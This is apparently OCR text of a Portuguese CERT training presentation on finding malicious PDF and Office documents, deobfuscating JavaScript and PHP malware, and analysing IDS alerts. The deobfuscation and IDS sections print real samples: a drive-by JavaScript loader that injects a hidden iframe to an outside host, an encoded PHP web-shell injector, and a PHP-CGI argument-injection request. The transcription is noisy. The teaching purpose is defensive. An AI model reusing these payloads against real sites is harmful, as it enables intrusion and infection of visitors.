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Agenda

* |dentificagao de documentos maliciosos

* Desofuscacao de Codigo %@4‘
M

 Analise de alertas de IDS

* Demonstracgoes

FCT \FCCN



s CERT
==a RCTS

O que sao documentos maliciosos?

 Documentos que foram criados para tirar partido dos recursos
do sistema onde o documento foi aberto

* Tipicamente propagam-se através de campanhas de phishing

 Podem ou nao explorar vulnerabilidades em software
instalado na maquina
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Documentos PDF

Metodos automatizados:
— http://www.virustotal.com

— https://malwaretracker.com/pdf.php

— http://jsunpack.jeek.org -

(Nota: Atencao que estas ferramentas podem dar
resultados “falsos negativos” em exploits o-day)



http://www.virustotal.com/
https://malwaretracker.com/pdf.php
http://jsunpack.jeek.org/
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Documentos PDF

Metodos manuais:

* Verificar se o documento tem scripts ou
documentos embebidos

* Analisar o codigo de scripts caso existam

Ferramentas:
+ Pdfinfo e Pdfdetach ?)\‘
(http://poppler.freedesktop.org) X
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http://poppler.freedesktop.org/
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Documentos DOC

Meétodos manuais: ://(
« \Verificar se os documentos contém macros

» (Caso existam, verificar se o codigo das macros €
malicioso

Ferramentas:

* Python-oletools
(https://pypi.python.org/pypi/oletools)
(sudo —H pip install —U oletools)
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https://pypi.python.org/pypi/oletools
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Exemplos de uso das ferramentas

Pdfinfo:

pdfinfo <pdf file> - Imprime informacao sobre todas as
componentes existentes no documento (Forms, Javascripts,

UserProperties).
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Exemplos de uso das ferramentas

Pdfdetach:

pdfdetach -list <pdf file> - Imprime informacao sobre todos os
documentos embebidos no documento. R
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Pdfdetach -saveall <pdf file> - Extrai e armazena todos os
ficheiros embebidos no documento

helder@helder-vVirtualBox:~fanalisefcasels5 1s

pdf-doc-vba-eicar-dropper.pdf pdf-doc-vba-eicar-dropper.zip
helder@helder-VirtualBox:~/analise/caselS pdfdetach -list pdf-doc-vba-eicar-dropper.pdf

1 embedded files

1: eicar-dropper.doc

helder@helder-VirtualBox:~/analise/casel$ pdfdetach -saveall pdf-doc-vba-eicar-dropper.pdf
helder@helder-virtualBox:~fanalisefcasel5 1s

eicar-dropper.doc pdf-doc-vba-eicar-dropper.pdf pdf-doc-vba-eicar-dropper.zip

helder@helder-vVirtualBox:~/analise/case15 |J




s CERT

==a RCTS
Exemplos de uso das ferramentas
Olemeta:
olemeta <office file> - Imprime os meta dados do documento
referido. I

_____________________
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root
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Exemplos de uso das ferramentas
Olevba:
olevba <office file> - Imprime o codigo das macros do
documento. R
S e o oiha cicar-dropper.doc ﬁ%{gﬁé{\};’\l
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Ofuscacao de codigo 3 FEXT

Nos ultimos anos, em quase todas as
campanhas de distribuicao de malware &
identificado a utilizacado de codigo
ofuscado.

Porque?
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Ofuscacao de codigo

Casos praticos de evasao:

* Antivirus — as solugdes de antivirus sao pouco
eficientes na detec¢ao de codigo malicioso ofuscado
porque existem N formas de ofuscar o mesmo codigo

S5)

 IDS/IPS - E dificil criar assinaturas que cubram todos
0S Casos para o mesmo tipo de ataque




Como desofuscar codigo malicioso?

* Num contexto de malware, o codigo costuma ser
escrito em linguagens interpretadas, como por
exemplo JavaScript e PHP

\: -
“ ) <=y —
-

2 4
N\ -
_— .

* O codigo a executar e descodificado para uma
string, de sequida e utilizado como parametro de
entrada na funcao eval




Como desofuscar codigo malicioso?
Exemplo Drive-by attack (JavaScript):

if(window.document)

a=("v532bsg".split+Date).substr(o,6);
aa=([].reverse+[].reverse).substr(o,6);

if(a===aa)
f=[61,72,60,78,70,62,71,77,7,80,75,66,77,62,1,-5,21,66,63,75,58,70,62, -

7/761 751601 221 53/ -
5,65,77,77,73,19,8,8,73,66,60,77,78,75,62,64,58,77,62,76,7,72,75,64,8,60,65,622,60,68,7

173,65,73,24,66,61,22,13,14,18,17,14,61,58,11,60,58,15,10,17,9,61,14,53,-5,-
7/801661611771651 221 531'5/ 101 531'51 '7/651621661641651771 221 53/ '5/ 10/ 531'
5,23,21,8,66,63,75,58,70,62,23,-5,2,20];

md='a’;

w=f;

S:”;

g="f'+'ro'+'mCh'+'arCod'+'e’;
for(i=o;i<w.length;i++){s=s+String[gl(39+w[i]);}

eval(s);




Como desofuscar codigo malicioso?
Exemplo Drive-by attack (JavaScript):

* Substituir a funcao eval pela funcao alert:

Resultado:

document.write("<iframe
src=\"http://picturegates.org/check.php?id=45985da2ca6180dxs)\
1] Width=\"1\" height=\II1\II></iframe>ll)




Como desofuscar codigo malicioso?
Exemplo de Injeccao de codigo php:

<?php
eval(gzinflate(str_rota3(base64_decode('rUI6QUNTEP5cJP7Dso1heho43EhIQ0ARIDigVSWhZOgXQJZwYplF
v8m7Jpci/ntoae28XA7KSBeB4sw887rPzvhZcSlouUdsySoaCxmOEx5ZqixFls8ktYg9qasSES3tPV66sSeB7vt8bgG
LYOLwPHgidev/otLvTbRRFqCivMIlJcZQhTrTkfwyMaDP/2hjfo83VnFXwe+CNth3eR3WKohgsfi54/Cq6HPQMY
5/ECENSf8SQhveyeVJAkuc3QMspGUcljwtPDmAPYDFiZT5IMhU6axswto18CevLUkjyqVEEW6EP286WWXg44
HDgbdLj1+3t3hieSvoPoAwtDxxHJoVU/qzuoxnRQvC1660JjIRYoXTJhleEwgMg/BbKczhP7Vze APS51YXjlabZeD
kbdzllYiseikVslonlro42JoRhQsRJ7SfUgo/+h+3b4hloiiyFmp4qgjdYTolvXmKvMatSsTnsSPHJOoKYTMCogb1IGH
y1LTY5kgggKsWYSHevgegExOr4dMf3uiGUlaeZOQSRVbmSBnxaGUw/2/YuxoF3d6fXv/8onCalDGwSRBgheo
MLq4vvf40GA4Gl2nnoPa80BBMIEcANCc+T3CIzBTKnsKbBJto+Messk/4PpNXRmM3VocXUFoHWWE 22ihFf46e/
nct8rQtrm18m41P+YfQ2bsGPfpPiHUxgWICdjUzg/oh8AnkVoGcuhl+3xorgFwqCClampUhooLQABgFB20XIl71
Hs4jHgwgOQrEbvaRrgAVPCwDOFDMIlopp18rigNtRjw8NAhV8RiIDVx+h/fithOua2kmEz59DI8cs3Gvh3nTVQAM
eBfhEfSd6DMtsm7asRvzGgtgLFvzNY8BSyQ3KTYH/Q9OGakUioBcFqCBkGKOfSL4KWIsSrEZDhGKWVetypWq
LitcTajfdHgmYpBJ7aEu4ZlJ2QcfQoRISJUZTokD4laUQnhlfT14+bdP3N5+QgxAvxykDoSVMziuMiUpzj4gyxVhC
RLgHriUnrs+mBdsmoZM3GPgUXFSpYhNFNylingEICBaXBqIMd3U+tU4FSug8VDJcJhH+veD4NuY2Sk73syUw
wF2FymMSESEpdK4gzhHbpNsRg5J8x8IXBdWHsakKxKuy3UjbauamYhwntXZV5P7BmACgrUarxf+pGjMQsbb
qozo+VxbH5H1JNb8cDeNgYdf6zgZn+MDJUQSV+mqY8PAJEzr6Este3gK3nXvakHAjtowcNx5hVdbxALXRrG6
A3stnVRwRqcDUoJNobclrgs/hjutbmgAoyDNwzR/5IHxzuMAAdY3WkdNBMYMIsUyG1SHQZP5labwTTMOGk
nASecxjrZob2kl2dD7SBRkKYkCkfO10s5i/VB2YeuRM37atJtekYroMalG3rEmmsV619VUtV7700F8aBh3gD+wbi
e8aMBs5scaEnPZgNidp1WNffDcj/Y80SVg6SkL3ga/ugbxxT4bKoPJtAemsGgdssYA87QsIKZgrwh2oxrcoQ765+
WLCborUtxvgX")));

?>

\



Como desofuscar codigo malicioso?
Exemplo de Injeccao de codigo php:

 Substituir a fungao eval por print

<?php @ini_restore("disable_functions");
if (lisset(s_SESSION['bajak')) {
$visitcount = o;
sweb = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body ="Shell Injector
swebsinj";
$safemode = @ini_get('safe_mode');
if ('$safemode) {
$$$$$$ ity ="SAFE_MODE = OFF";
}else{
$$$$$$ ity ="SAFE_MODE = ON";
I
$df ='ini_get disable!’;
$serper = gethostbyname($_SERVER['SERVER_ADDR']);
sinjektor = gethostbyname(s_SERVER['REMOTE_ADDR']);




Como desofuscar codigo malicioso?

Ferramentas para JavaScript:

> Browser de internet com web console
> NodelS

» Ferramentas Online:
> http://jsbeautifier.org
> http://deobfuscatejavascript.com
» http://jsunpack.jeek.org JavaScript



http://jsbeautifier.org/
http://deobfuscatejavascript.com/
http://jsunpack.jeek.org/

Como desofuscar codigo malicioso?

Tools for PHP:
» PHP
> Online tools :

> https://www.unphp.net/



https://www.unphp.net/

Analise de ataques através de alertas IDS

* Os alertas de IDS podem conter informacao valiosa
sobre a origem e repositorios de software malicioso.

* Ainformacao obtida de um alerta pode ser
suficiente para mitigar um ataque

* Ainformacao obtida de um alerta e eficiente para a
criagcao de blacklists
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Analise de ataques atraves de alertas IDS

Informacgodes que se podem obter na analise:

@ B Q =

* Reputacao delP’s \@\\%/f/@/

©

* Motivacao dos ataques

* Dominios e repositorios maliciosos

* Threat Landscape
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Analise de ataques atraveés de alertas IDS
Exemplos:

ET WEB_SERVER PHP System Command in HTTP POST

POST

/phppath/php5?%2D%64+%61%6 C%6C%6F%77%5F%75%72%6 C%5F%69%6E%63%6C%75%64%65%
3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%
68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69
%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65
%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72
%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D
%64+%63%67%69%2E%66%6F%72%63%65%:5F%72%65%64%6 9%72%65%63%74%3D%30+%2D%64
+%063%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%73
D%30+%2D%6E HTTP/1.1

Host: xxxxx.pt

User-Agent: Mozilla/s.o (iPad; CPU OS 6_o like Mac OS X) AppleWebKit/536.26(KHTML, like
Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25

Content-Type: application/x-www-form-urlencoded
Content-Length: 808
Connection: close

\




Analise de ataques atraveés de alertas IDS
Exemplos:

Resultado da descodificacao:

?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d
disable_functions=""-d open_basedir=none -d
auto_prepend_file=php://input -d cgi.force_redirect=0 -d

cgi.redirect_status_env=0-n
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